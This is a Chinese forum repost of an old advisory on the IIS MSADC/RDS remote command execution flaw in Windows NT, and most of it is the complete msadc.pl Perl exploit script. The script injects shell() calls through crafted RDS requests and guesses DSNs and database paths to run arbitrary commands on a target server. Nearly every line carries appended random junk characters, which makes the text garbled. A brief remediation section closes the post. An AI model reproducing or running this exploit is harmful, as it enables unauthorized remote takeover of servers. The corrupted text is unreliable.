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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) 3(="YbZ  
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涉及程序: *l"T$H   
Microsoft NT server E@z<:pG{  
&yct!YOB2  
描述: _?-E7:Sw  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 LGq'WU31:)  
DF&(8NoX~  
详细: oK9( /v  
如果你没有时间读详细内容的话,就删除: I&fozO   
c:\Program Files\Common Files\System\Msadc\msadcs.dll U&g@.,Y#  
有关的安全问题就没有了。 a[>/h3  
Q0)#8Rcm  
微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 IQAZuN"<  
4svBzZdr  
1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 HCIU!4rH  
关于利用ODBC远程漏洞的描述,请参看: _mj,u64  
7!$Q;A  
http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm WQx?[tW(U  
TtK[nP  
2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 ~Zun&b)S  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp 5-FQMXgThc  
2Sle#nw3  
这里不再论述。 sZ3KT&  
S50k>_a;  
3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: s,"]aew  
?so=;gh  
/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset ]RZ|u*l=x  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! &9.Cl;I  
WEw6He;  
vt/x ,Y  
#将下面这段保存为txt文件,然后: "perl -x 文件名" cb@?}(aFl  
C1V|0h u  
#!perl %@<8<6&q  
# fnpYT:%fG  
# MSADC/RDS 'usage' (aka exploit) script Y@NNrGDkT*  
# \e:7)R2<!x  
# by rain.forest.puppy 5^}\4.eXo  
# 9)D6Nm  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me ]RwpX ^ 1  
# beta test and find errors! o5u3Fjz3  
,dv+p&Tz2  
use Socket; use Getopt::Std; -{KQr1{5UM  
getopts("e:vd:h:XR", \%args); [xbSYu,&  
{yBs7[Wn  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; 1m'k|Ka  
O n8v//=&  
if (!defined $args{h} && !defined $args{R}) { "x#-sZ=  
print qq~ +UCG0D  
Usage: msadc.pl -h <host> { -d <delay> -X -v } T tfo^ksw  
-h <host> = host you want to scan (ip or domain) eJrQ\>z]V&  
-d <seconds> = delay between calls, default 1 second v>6"j1Z  
-X = dump Index Server path table, if available ~Sdb_EZ  
-v = verbose loEPr5 bL  
-e = external dictionary file for step 5 v|Pv 03%?7  
9d>-MX'  
Or a -R will resume a command session ]N/=Dd+|  
aR[JD2G  
~; exit;} uY{|szC^2  
mWv3!i;G<s  
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; $1SPy|y  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} zU,9T  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} \/93Dz  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); 0^v`T%|fTX  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} KsddA  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } Lt2u,9  
kT|dUw9G  
if (!defined $args{R}){ $ret = &has_msadc; \9.bt:k@OT  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} ru'F6?d  
m1j*mtu  
print "Please type the NT commandline you want to run (cmd /c assumed):\n" QpF;:YX^3  
. "cmd /c "; vXev$x=w-  
$in=<STDIN>; chomp $in; 2d>z1%'  
$command="cmd /c " . $in ; H(H<z,$}T  
I^* Nqqq  
if (defined $args{R}) {&load; exit;} 0!D4pvlt  
>|J`s~?  
print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; \0A3]l  
&try_btcustmr; hl;u'_AB  
seba9 y  
print "\nStep 2: Trying to make our own DSN..."; 4aug{}h("  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; [Hx0`Nc K  
0}<|7?  
print "\nStep 3: Trying known DSNs..."; 3t.l5m Rg5  
&known_dsn; Z3%}ajPu[  
K> %Tq  
print "\nStep 4: Trying known .mdbs..."; CVDV)#JA  
&known_mdb; x!hh"x  
_PPy44r2  
if (defined $args{e}){ 2"COP>  
print "\nStep 5: Trying dictionary of DSN names..."; uY0lR:|  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } q~rEq%tk  
mR!1DQ.\<  
print "Sorry Charley...maybe next time?\n"; at@G/?  
exit; 87=&^.~`  
.Q<>-3\K  
############################################################################## 9U7nKJ+iby  
md+nj{Ib  
sub sendraw { # ripped and modded from whisker N[?N5~jG  
sleep($delay); # it's a DoS on the server! At least on mine... .28<tEf  
my ($pstr)=@_; FOb0uj=(v  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || } j<)L,  
die("Socket problems\n"); ,yC-+VL  
if(connect(S,pack "SnA4x8",2,80,$target)){ S2E8G q9  
select(S); $|=1; `34zkPB??  
print $pstr; my @in=<S>; }#3V+X  
select(STDOUT); close(S); W,D4.w$@'  
return @in; #HYr0Tw6`  
} else { die("Can't connect...\n"); }} =NpYFKmMhV  
 JR'  
############################################################################## K)6rY(x >  
"_P;2N6  
sub make_header { # make the HTTP request `K*Q5n  
my $msadc=<<EOT [<7@{;r  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 md=TjMaY  
User-Agent: ACTIVEDATA -N6f1>}pE  
Host: $ip >/{@C  
Content-Length: $clen 9K.Vb1&  
Connection: Keep-Alive 1Vsz4P"O $  
7Sf bx~48  
ADCClientVersion:01.06 H[m:0eF'5  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 uyO/55;HO  
f0A{W/0n  
--!ADM!ROX!YOUR!WORLD! 'SO %)B  
Content-Type: application/x-varg WJ$bf(X*  
Content-Length: $reqlen i1UiNJh86  
Ha(c'\T (\  
EOT P|^f0Rw3.  
; $msadc=~s/\n/\r\n/g; 09|K>UC)v  
return $msadc;} >q#rw  
_uWpJhCT  
############################################################################## F7A=GF'  
ZLc -RM  
sub make_req { # make the RDS request q6@Lp^f  
my ($switch, $p1, $p2)=@_; v5/~-uRL%  
my $req=""; my $t1, $t2, $query, $dsn; RW|`nL  
)5rb&M}  
if ($switch==1){ # this is the btcustmr.mdb query :uP,f<=)K  
$query="Select * from Customers where City=" . make_shell(); u$h 4lIl  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . QaS1Dh  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} x%s-+&  
F7 5#*  
elsif ($switch==2){ # this is general make table query ?e` ^P   
$query="create table AZZ (B int, C varchar(10))"; rTM}})81  
$dsn="$p1";} *7:>EP  
N c1"g1JR  
elsif ($switch==3){ # this is general exploit table query &@G:G(  
$query="select * from AZZ where C=" . make_shell(); +"x,x  
$dsn="$p1";} Z.c'Hs+;  
!-ok"k0,u  
elsif ($switch==4){ # attempt to hork file info from index server 6 rh5h:  
$query="select path from scope()"; W~6EEyD%  
$dsn="Provider=MSIDXS;";} Vl5`U'^qx  
b v G/|U  
elsif ($switch==5){ # bad query t 4PK}>QW  
$query="select"; 2- &k^Gl!:  
$dsn="$p1";} nx@=>E+a  
YO#M/%^j  
$t1= make_unicode($query); =w;F<M|Y  
$t2= make_unicode($dsn); pyH:#5  
$req = "\x02\x00\x03\x00"; O&vVv _zh  
$req.= "\x08\x00" . pack ("S1", length($t1)); ?*2CpM&l  
$req.= "\x00\x00" . $t1 ; 9l|@v=gw.  
$req.= "\x08\x00" . pack ("S1", length($t2)); 6TYY UM"&  
$req.= "\x00\x00" . $t2 ; b $'FvZbk  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; M.Y~1c4f  
return $req;} S\LkL]qx  
^.1)};i  
############################################################################## ={_C&57N1  
!\"EFVH  
sub make_shell { # this makes the shell() statement qUh2hz:  
return "'|shell(\"$command\")|'";} ?@BTGUK"C  
.Fs7z7?Y  
############################################################################## 2n3W=dF  
yaD~1"GA'O  
sub make_unicode { # quick little function to convert to unicode ,C K{F  
my ($in)=@_; my $out; qT ,Te  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } fg s!v7  
return $out;} 5"^en# ?9  
lAi6sPG)0  
############################################################################## j:<n+:H C  
*Y,x|F  
sub rdo_success { # checks for RDO return success (this is kludge) $()5VM b  
my (@in) = @_; my $base=content_start(@in); 9Kpa><  
if($in[$base]=~/multipart\/mixed/){ U}&2k  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} 1jCLO}  
return 0;} /rM I"khB  
$Oq^jUJ  
############################################################################## 5)FJ:1-  
j`oy`78O  
sub make_dsn { # this makes a DSN for us tU4s'J  
my @drives=("c","d","e","f"); 3XL#0\im?s  
print "\nMaking DSN: "; \Npxv  
foreach $drive (@drives) { mIurA?&7!  
print "$drive: "; ^]7}YF2|  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . AZ0;3<FfLp  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" H+1-]'g`  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); ,X#2\r<|  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; 9`wZz~hL"  
return 0 if $2 eq "404"; # not found/doesn't exist <nE>XAI_7  
if($2 eq "200") { `q?8A3A  
foreach $line (@results) { BZ:H`M`n  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} H#NCi~M>3  
} return 0;} %4ePc-  
gMY1ts}Z  
############################################################################## 2#P* ,  
3wOZ4<B  
sub verify_exists { M*!agh  
my ($page)=@_; M1 :uJkO.  
my @results=sendraw("GET $page HTTP/1.0\n\n"); b8~Bazk  
return $results[0];} C3*gn}[  
\wo?47+=  
############################################################################## >[MX:Yh  
H#@^R(  
sub try_btcustmr { <%($7VMev  
my @drives=("c","d","e","f"); "|Xk2U  
my @dirs=("winnt","winnt35","winnt351","win","windows"); os,* 3WO  
}#.L7SIJ<J  
foreach $dir (@dirs) { y603$Cv  
print "$dir -> "; # fun status so you can see progress ^X0P'l &D2  
foreach $drive (@drives) { m4aB*6<lq  
print "$drive: "; # ditto ZZ k=E4aae  
$reqlen=length( make_req(1,$drive,$dir) ) - 28; >{N9kW Y  
$reqlenlen=length( "$reqlen" ); aAJU`=uq  
$clen= 206 + $reqlenlen + $reqlen; OTy.VT|  
IzsphBI  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); Inn@2$m~  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} txW{7+,  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} Q?e*4ba  
{wO3<9  
############################################################################## ^c<ucv6.  
wLmhy,  
sub odbc_error { "7!;KHc  
my (@in)=@_; my $base; *i]=f6G  
my $base = content_start(@in); 1xD=ffM>8N  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this WfWN(:dF  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; b6}H$Sx~  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; t?q@H8  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; `!XY]PI+e  
return $in[$base+4].$in[$base+5].$in[$base+6];} iJ~Zkd  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; V"*O=h  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . G"\`r* O  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} #z&& M"*a|  
X*M#FT-  
############################################################################## |kw)KEi}H  
U F?H>Y&  
sub verbose { iTFdN}U  
my ($in)=@_; d\p,2  
return if !$verbose; ;gBRCZ  
print STDOUT "\n$in\n";} FuVnk~gq  
.$Ik`[+Z  
############################################################################## (&}i`}v_  
\]&#%6|V  
sub save { qDv93  
my ($p1, $p2, $p3, $p4)=@_; )>.&N[v  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; sArhZ[H  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; Y<mej][  
close OUT;} s>0't  
T,]7ICF#  
############################################################################## "B =  
$>GgB`  
sub load { p;._HJ(  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; |(pRaiJ  
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); %<E$,w>  
@p=<IN>; close(IN); e<=cdze  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); Z3{>yYR+  
$target= inet_aton($ip) || die("inet_aton problems"); 7B b9 t  
print "Resuming to $ip ..."; v5By:z  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; zhpx"{_  
if($p[1]==1) { *RXbc~ H  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; `&KwtvkdI  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; vY%d   
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); 9{-EJ)  
if (rdo_success(@results)){print "Success!\n";} vWRju*Z&  
else { print "failed\n"; verbose(odbc_error(@results));}} WKT4D}{1  
elsif ($p[1]==3){ `wus\&!W  
if(run_query("$p[3]")){ 3D` YZ#M  
print "Success!\n";} else { print "failed\n"; }} [21 =5S  
elsif ($p[1]==4){ 3|1i lP  
if(run_query($drvst . "$p[3]")){ w9NHk~LHKF  
print "Success!\n"; } else { print "failed\n"; }} U'R)x";=  
exit;} Yj)#k)x  
6,d@p  
############################################################################## 2Tfz=7h$  
*$p2*%7Ne  
sub create_table { 7bk%mQk  
my ($in)=@_; u:[vaBh91  
$reqlen=length( make_req(2,$in,"") ) - 28; A3|Dz&@:  
$reqlenlen=length( "$reqlen" ); D$bIo "  
$clen= 206 + $reqlenlen + $reqlen; )Z(TCJ~~!  
my @results=sendraw(make_header() . make_req(2,$in,"")); (@t(?Js  
return 1 if rdo_success(@results); o>/YAX:.!T  
my $temp= odbc_error(@results); verbose($temp); V>ieh2G(  
return 1 if $temp=~/Table 'AZZ' already exists/; 'f[T&o&L/  
return 0;} &$]v h  
zRq-b`<7V  
############################################################################## 30XR 82P/  
sA'6ty  
sub known_dsn { --HF8_8;'  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go %1O;fQL  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", p$h4u_  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", _h X]%  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); !X"K=zt"  
>)spqu]  
foreach $dSn (@dsns) { 5D_fXfx_|  
print "."; ;\lW5ZX  
next if (!is_access("DSN=$dSn")); V#cqRE3XNi  
if(create_table("DSN=$dSn")){ x/;buW-  
print "$dSn successful\n"; Uc_'(IyO  
if(run_query("DSN=$dSn")){ Z7_m)@%;kk  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { "NgxkbDEbG  
print "Something's borked. Use verbose next time\n";}}} print "\n";} tcLnN:  
LXEfPLS  
############################################################################## !R1.7}O  
h&Efg   
sub is_access { |`lzfe  
my ($in)=@_; 3=Cc.a/3  
$reqlen=length( make_req(5,$in,"") ) - 28; ix(=3 /Dgz  
$reqlenlen=length( "$reqlen" ); HuwU0:*  
$clen= 206 + $reqlenlen + $reqlen; EGZb7:Y?  
my @results=sendraw(make_header() . make_req(5,$in,"")); LM7$}#$R  
my $temp= odbc_error(@results); .2>p3|F  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); >p.O0G gg  
return 0;} 5]HS^II"  
tZ^Ou89:rG  
############################################################################## @1DX  
NR -!VJQ  
sub run_query { y($%;l   
my ($in)=@_; t%'Z<DmG+  
$reqlen=length( make_req(3,$in,"") ) - 28; q)Fq i  
$reqlenlen=length( "$reqlen" ); ?pn}s]*/  
$clen= 206 + $reqlenlen + $reqlen; S zUpWy&  
my @results=sendraw(make_header() . make_req(3,$in,"")); EmODBTu+  
return 1 if rdo_success(@results); hjIT_{mk  
my $temp= odbc_error(@results); verbose($temp); i?fOK_d  
return 0;} \8<BLmf4U  
Hm$=h>rY9[  
############################################################################## =,Dqqf  
@6mBqcE'?  
sub known_mdb { 'Y56+P\u  
my @drives=("c","d","e","f","g"); xZ4~Oo@@_'  
my @dirs=("winnt","winnt35","winnt351","win","windows"); Z00+!Tnd  
my $dir, $drive, $mdb; P?t" jKp'  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; qIY~dQ|  
P@,nA41,j  
# this is sparse, because I don't know of many KuMF^0V%c  
my @sysmdbs=( "\\catroot\\icatalog.mdb", DdVF,  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", kAu+zX>S+  
"\\system32\\certmdb.mdb", agjv{  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% [1F* bI  
'ow.=1N-  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", =li|  
"\\cfusion\\cfapps\\forums\\forums_.mdb", Y7vA`kjD-C  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", Sh?4r i@:  
"\\cfusion\\cfapps\\security\\realm_.mdb", %,Ap7X3:QT  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", :{oZ~<  
"\\cfusion\\database\\cfexamples.mdb", ~-PjW#J%  
"\\cfusion\\database\\cfsnippets.mdb", df n9!h  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", Q8 DQlqHm  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", ;_^fk&+  
"\\cfusion\\brighttiger\\database\\cleam.mdb", 0#ClWynjRO  
"\\cfusion\\database\\smpolicy.mdb", Eh|]i;G%  
"\\cfusion\\database\cypress.mdb", G.( mp<-  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", |37 g ~  
"\\website\\cgi-win\\dbsample.mdb", K91)qI;BD  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", P&b19K'  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" nS&3?lx9_  
); #these are just j{NNSi3  
foreach $drive (@drives) { /Wy.>YC|  
foreach $dir (@dirs){ 'Er:a?88l  
foreach $mdb (@sysmdbs) { ]R=,5kK3  
print "."; mExVYp h  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ s 1e:v+B]  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; RLSc+kDH_  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ BRk0CLr5  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; !OT-b>*w  
} else { print "Something's borked. Use verbose next time\n"; }}}}} :dLAs@z  
cIp D~0\  
foreach $drive (@drives) { /r-aPJX  
foreach $mdb (@mdbs) { * 1Od-3  
print "."; uPRQU+  
if(create_table($drv . $drive . $dir . $mdb)){ Ay !G1;  
print "\n" . $drive . $dir . $mdb . " successful\n"; *Mw_0Y  
if(run_query($drv . $drive . $dir . $mdb)){ 9:e YU =  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; ~t^eiyv  
} else { print "Something's borked. Use verbose next time\n"; }}}} LrAT Sq@  
} (4\d]*u5-c  
QK+(g,)_86  
############################################################################## ed:@C?  
Z7RiPSdxp  
sub hork_idx { m+#iR}*1L  
print "\nAttempting to dump Index Server tables...\n"; 1P(|[W1  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; TOoQZTI  
$reqlen=length( make_req(4,"","") ) - 28; r\blyWi  
$reqlenlen=length( "$reqlen" ); k%E2n:|*  
$clen= 206 + $reqlenlen + $reqlen; )=-0M9e.{  
my @results=sendraw2(make_header() . make_req(4,"","")); =IUUeFv +r  
if (rdo_success(@results)){ ak:ibV  
my $max=@results; my $c; my %d; c7M%xGrP  
for($c=19; $c<$max; $c++){ ;\[(- )f!=  
$results[$c]=~s/\x00//g; ]ix!tb.Q  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; @"o@}9=d  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; kWNV%RlSx  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; &[At`Nw71  
$d{"$1$2"}="";} 3q`)*  
foreach $c (keys %d){ print "$c\n"; } SL,p36N  
} else {print "Index server doesn't seem to be installed.\n"; }} 2e|N@j &  
^qC;Nh4F  
############################################################################## Ton94:9bZ  
5* 0y7K/D  
sub dsn_dict { "3<da*D1  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); &R$CZU  
while(<IN>){ @fa@s-wb  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; 4T?h  
next if (!is_access("DSN=$dSn")); sYdRh?Hq  
if(create_table("DSN=$dSn")){ |=EZ1<KzD  
print "$dSn successful\n"; {O+Kw<d  
if(run_query("DSN=$dSn")){ JMVNmq&0  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { NHl|x4Zpw  
print "Something's borked. Use verbose next time\n";}}} =b[_@zq]  
print "\n"; close(IN);} o}<4*qlI  
!xwG% {_  
############################################################################## ]XTu+T.aT  
Z( 9 u<  
sub sendraw2 { # ripped and modded from whisker 8HZs>l  
sleep($delay); # it's a DoS on the server! At least on mine... lhi_6&&[8  
my ($pstr)=@_; ;r6jx"i  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || t w(JZDc  
die("Socket problems\n"); [2dn\z28  
if(connect(S,pack "SnA4x8",2,80,$target)){ (E,Yo  
print "Connected. Getting data"; 4<x'ocKlD  
open(OUT,">raw.out"); my @in; /'hCi]b@v  
select(S); $|=1; print $pstr; \T;\XAGr  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}  ru`U'  
close(OUT); select(STDOUT); close(S); return @in; t#S<iBAZ  
} else { die("Can't connect...\n"); }} ay %KE=*v  
1-Po Z[p-R  
############################################################################## $ -c!W!H  
n=,\;3Y=  
sub content_start { # this will take in the server headers ;3 F"TH  
my (@in)=@_; my $c; >+mD$:L  
for ($c=1;$c<500;$c++) { )NO<s0?&  
if($in[$c] =~/^\x0d\x0a/){ M gC:b-&5_  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } T<I=%P)  
else { return $c+1; }}} m] W5+  
return -1;} # it should never get here actually cS.-7  
!gLkJ)  
############################################################################## dV Q-k  
RID]pek  
sub funky { fl;s9:<  
my (@in)=@_; my $error=odbc_error(@in); jA(>sz  
if($error=~/ADO could not find the specified provider/){ kvh&d|  
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; .c#y%S  
exit;} rS0DSGDq  
if($error=~/A Handler is required/){ VqE~c  
print "\nServer has custom handler filters (they most likely are patched)\n"; } %'bullT  
exit;} k"N(o(  
if($error=~/specified Handler has denied Access/){ ^T.E+2=>z  
print "\nServer has custom handler filters (they most likely are patched)\n"; zvvP81$W  
exit;}} ;r /;m\V  
=E&OuX-R  
############################################################################## 'SYo_!  
[|~2X>  
sub has_msadc { 9z I.pv+]  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); `y+-H|%?  
my $base=content_start(@results); WO6/X/#8b  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); Lw'9  
return 0;} bT6sb#"W  
n$aA)"A #  
######################## J>^\oAgpE  
f""`cdqAOh  
ms_ VM>l  
解决方案: `+#G+Vu5  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll [Px'\ nVf  
2、移除web 目录: /msadc
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只看该作者 1 发表于: 2006-06-30
很老的一篇文章 __@zTSVb  
fZKt%m  
拿出来充数 哈哈
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